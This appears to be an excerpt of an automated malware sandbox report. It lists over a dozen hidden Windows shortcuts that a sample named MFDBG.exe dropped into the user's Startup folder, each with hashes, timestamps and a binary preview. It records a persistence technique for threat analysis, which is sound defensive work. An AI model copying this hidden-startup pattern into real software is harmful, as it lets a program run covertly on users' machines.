File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930912071452584
Encrypted:	false
SSDEEP:	24:8KBf48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8IFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	5B171C22EEFFB4F27837BBF8AE19EC48
SHA1:	48EDCCDEB03F8E8D73D05DACD7EBA67833BA4886
SHA-256:	B57E15457CF375A8C4F345C7395EFEAF8D19EFDF025BC467521588700491CCA7
SHA-512:	3E18EE8753E2DA8A3E7942C923C936F5F9E445F153DE8A82BBC51760C55A50E89E9902CC2C8E76B1E889067048B08B6F16254F42F5C697E5F024658399BC94B1
Malicious:	false
Preview:	L..................F....".......d...H..Zd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...$}.Zd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c5be5b02ea4b4047b95f86b24240ed8d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:14 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928396870595955
Encrypted:	false
SSDEEP:	24:8xBfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8LBEvZ0yRO7DLO2zdxdRd1kyg
MD5:	AEA3A956916A00AF6843617598BE714B
SHA1:	72FC1E4F43D7FEBB68668FFF484F89A9B9DA6F2C
SHA-256:	BCF11B8C1E4E4F27A42B1620D78C26D8BAA1F04F87783AA4D3F9A03BB48E69FF
SHA-512:	8C9C0A4E98BA7F35C6C4CD0502D555B7AC241F98F414EBD3F91EEF729FC9E844B899E0A018943EFC0B45B478F406C4426FC45AD93A9C23F25F77EA75886DCCCB
Malicious:	false
Preview:	L..................F....".......d..._.0&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....&d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c60ddea941e4478ba05ccbd759858d3e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:50 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917986049899229
Encrypted:	false
SSDEEP:	24:8OBff48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8kdEvZ0yRO7DLO2zdxdRd1kyg
MD5:	DB190322E08C7B3C35B4D12481A33A5B
SHA1:	8A2EAE1BC979E62F944FDEE6EADB6BEE4BE684F4
SHA-256:	8F989F15BD596343A319D19A6A0E53EAFDD8E663B1E3922CBFA1C6130F75969A
SHA-512:	189C93C86D456007DE2638D55919B087B287BB971A9E24F582397C229EFFB7C87092D2A9F5FC71166DC00616212BB3B7D5FA4D9AA064DE239E252E5955947889
Malicious:	false
Preview:	L..................F....".......d.....V_d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...!.L_d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c619a5c38b314ba3a63637abb07f2e2c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:53 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920106201402811
Encrypted:	false
SSDEEP:	24:8GBfJ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8MWEvZ0yRO7DLO2zdxdRd1kyg
MD5:	34CD9C9A5D856FA36C61059B4D7B0A18
SHA1:	1C9902270FA5F12016AC87909A78DADAC1AC9613
SHA-256:	0CCB40FFB5D2CFB90DB0E16032CD88B7FAEA20FAE6232A312E8C6A99F40FA5EE
SHA-512:	20E5E858D0404FDD5AC361E9D58EB1320F11BBAD912EB5FA01C562219FC1F7700F3E93315EA779590D49E5D80BB2729FB1C643F4379B630CA71CA1DC8799E4A0
Malicious:	false
Preview:	L..................F....".......d....P#=d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......<d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c62c32d63da94d74800bb8d867dc2cc3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:38 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920106201402814
Encrypted:	false
SSDEEP:	24:8tBf/P48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8f3FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	3ABBDB5A53C6B11F4D69AC0735E95207
SHA1:	8A191E38DDE2646F3ECAEC0363A35B81646549D5
SHA-256:	0ADF2573ACD36B6203ECD5E94410177EA188EF9B95DE8CD5C5F4A6052FF9520B
SHA-512:	B66610E155B3CA8C2788E256A0198027BDF13D4C29F9F69B545B012C8AA793F6D37B50BA42C58EEEF4CEF46A477B07C05BB866E379E3845501194460A790207B
Malicious:	false
Preview:	L..................F....".......d...q..{d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....0.{d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c65b60d43cf7410dbdea0fca4675ba57.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:41 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925895777608052
Encrypted:	false
SSDEEP:	24:8NBf/8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8/8EvZ0yRO7DLO2zdxdRd1kyg
MD5:	9C28EC995AE48036EAE3CC72E3B59F7C
SHA1:	5770F986C28920AA7F3A2D1F67FE7441367AE7BF
SHA-256:	B0AE3DDFC0C6F70BF6E605F834C8A93782230830852B37D7EA82F0F686F34561
SHA-512:	E9B79FA07CCC02ED6DC10FBDB1D6CD31F24D2CEE63300FEBD19513D4C94CDD5AE04AE157266E7378117A3F11FBC7010F482DC3222665431B02DC6C7810C27241
Malicious:	false
Preview:	L..................F....".......d.....~}d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....v}d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c65dfbcc6f644407af3230082d585b4d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.929149956915139
Encrypted:	false
SSDEEP:	24:8hBfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:87REvZ0yRO7DLO2zdxdRd1kyg
MD5:	83B27E5BBA37251747FDC3A85BC4E6AA
SHA1:	4F3F96E0A65ED99CC9625588AB112FD96D0C9EF8
SHA-256:	D37E975BE2F9FAE3D43AD7E41B904489451FC1679BF437387E02AEA0F6BC89BB
SHA-512:	7A3D93ABB6DAEE0E004390ADC02E99803E23D1D242695651EFA70452F2DA3491925383D9B2DFBBC6B769C9EB9000E7B7D7848AC56248B9FB46FD6089C971A81A
Malicious:	false
Preview:	L..................F....".......d.....Zd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......Zd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c66780075c16437399490e20625aefa3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:16 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921328070960446
Encrypted:	false
SSDEEP:	24:8dBfm8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8PzEvZ0yRO7DLO2zdxdRd1kyg
MD5:	40475BC692A0B5CA35A4ABCB79017E3B
SHA1:	2044D4190273468655445D4968CBC8B0A9A68E12
SHA-256:	47600A697E1DDD0B7A93DDF18BEB6BC90FE2BEFCA3C0C0B6C628560402B9D324
SHA-512:	2868157E1DA729C4368826DAADF9D7F6AB5466CC76EB2A1AE618F1C4B418D74D88F4E9ABF695E4E4E28A619E60DA3F310AA3A0891176C3997168759F3C99FC91
Malicious:	false
Preview:	L..................F....".......d...4V.&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......'d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c669faa194c148adbd71d355ac4cf53c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:39 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918726230678587
Encrypted:	false
SSDEEP:	24:81Bfz8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:83YEvZ0yRO7DLO2zdxdRd1kyg
MD5:	978B9BEBFF41248D390FAAF58EA43275
SHA1:	FF6AAF53321CA7575AA288F81B9696914F4BED3E
SHA-256:	0778DDD8488EC75C950C91947F236B61E014008D25D36C48E593B7318D87C74C
SHA-512:	E1C29764104F889153CFAFDA1FC05585EB6FDECE9C348E7688DBA8EAB68CEFBD5396B2369CD73500AEED5785D8DCF2BE57E8B4D61350710BAE9981B643394CCE
Malicious:	false
Preview:	L..................F....".......d....SC\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....T$\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c6e9fca622764e5b93489c56ffbecf68.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:40 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921692341543589
Encrypted:	false
SSDEEP:	24:8HQBfL8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8HegEvZ0yRO7DLO2zdxdRd1kyg
MD5:	8384AF3808B7049393F7A43B351D3EC4
SHA1:	E47E4589CC06D22E9E8D3E5B37B14E806248C1E3
SHA-256:	38BF9125CA4A5920E47CA79ED74AC172D260A6099C83B6A31609BCCD8D3094AC
SHA-512:	E72F7BF49E9C6AB26334C7BE5299A1B23727AF2D88032A5D56854EB902241CB2122108512DBFDFE88ED2A3BFE4A50C2077A46CD88C92E93B97FD7F41086A5504
Malicious:	false
Preview:	L..................F....".......d......\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....`.\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c731861d3e66437696f840c3de15ff17.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:27 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.915962391355026
Encrypted:	false
SSDEEP:	24:8RBfp8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8rGEvZ0yRO7DLO2zdxdRd1kyg
MD5:	264C8A9305DE66090BD338AC924E43A3
SHA1:	4F42EE628910B54F7DB5EDAA877FA0B0927EE046
SHA-256:	2A36D74F0E91E7BC7B0608AFF6419EEADB29881DFD19B4AA313E69487C136677
SHA-512:	7C88A6341A67345AB7F5CA63F3915AD5AD94670C02F75CA8F75F39CD81B747A58A0FC6EFEB8F9826FDFA294254160CA9F07EEB035E3124931F1C3A93D94406BF
Malicious:	false
Preview:	L..................F....".......d...c6.Qd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...Y..Qd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c7dd6f8bf0704bf793fa276e6f560cb6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924207542400216
Encrypted:	false
SSDEEP:	24:822BfY8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:828VEvZ0yRO7DLO2zdxdRd1kyg
MD5:	F870531FB914377C002C7258ED21BAEE
SHA1:	90BBD13F138B6F2DD6D6C0999195CC62847494BE
SHA-256:	44518453B7A34EC9B65D01390559804D797BA6D9BDB59C98C850BC1B69F5FBBB
SHA-512:	3437E6A044856713FF429003B537C1D7AE0B9F063BFD8C7D5DE276E4518ABC8D56B8D736FD4ABFC98D7B3957E586ADC95D41C359066D3865DD92D0FFE6C9CE85
Malicious:	false
Preview:	L..................F....".......d.....}^d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...K.n^d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c7ebeefdbf074595ab60303486696b62.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924895400595043
Encrypted:	false
SSDEEP:	24:86Bf98EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:84yEvZ0yRO7DLO2zdxdRd1kyg
MD5:	86CCF029F8A66B19D583610DE8D0693A
SHA1:	2E0E7D78F1A4DF4D1EE385591FD0793131DBA440
SHA-256:	DBD8F745EA8869C4292CCD2A91F0875BDF33EAFF254797749699A871CD1F2B4C
SHA-512:	FBBDE188A362AC23181BD00E1B0E847276ABDD683140000A881F3836BF9F0F530462FD764CA6F1ABC16363D2F2663B2A7621A28B5370B9E2FEC8F1E931E18ACA
Malicious:	false
Preview:	L..................F....".......d...5.^d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......^d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c853476168ab4c93847c24a0e1ad225a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
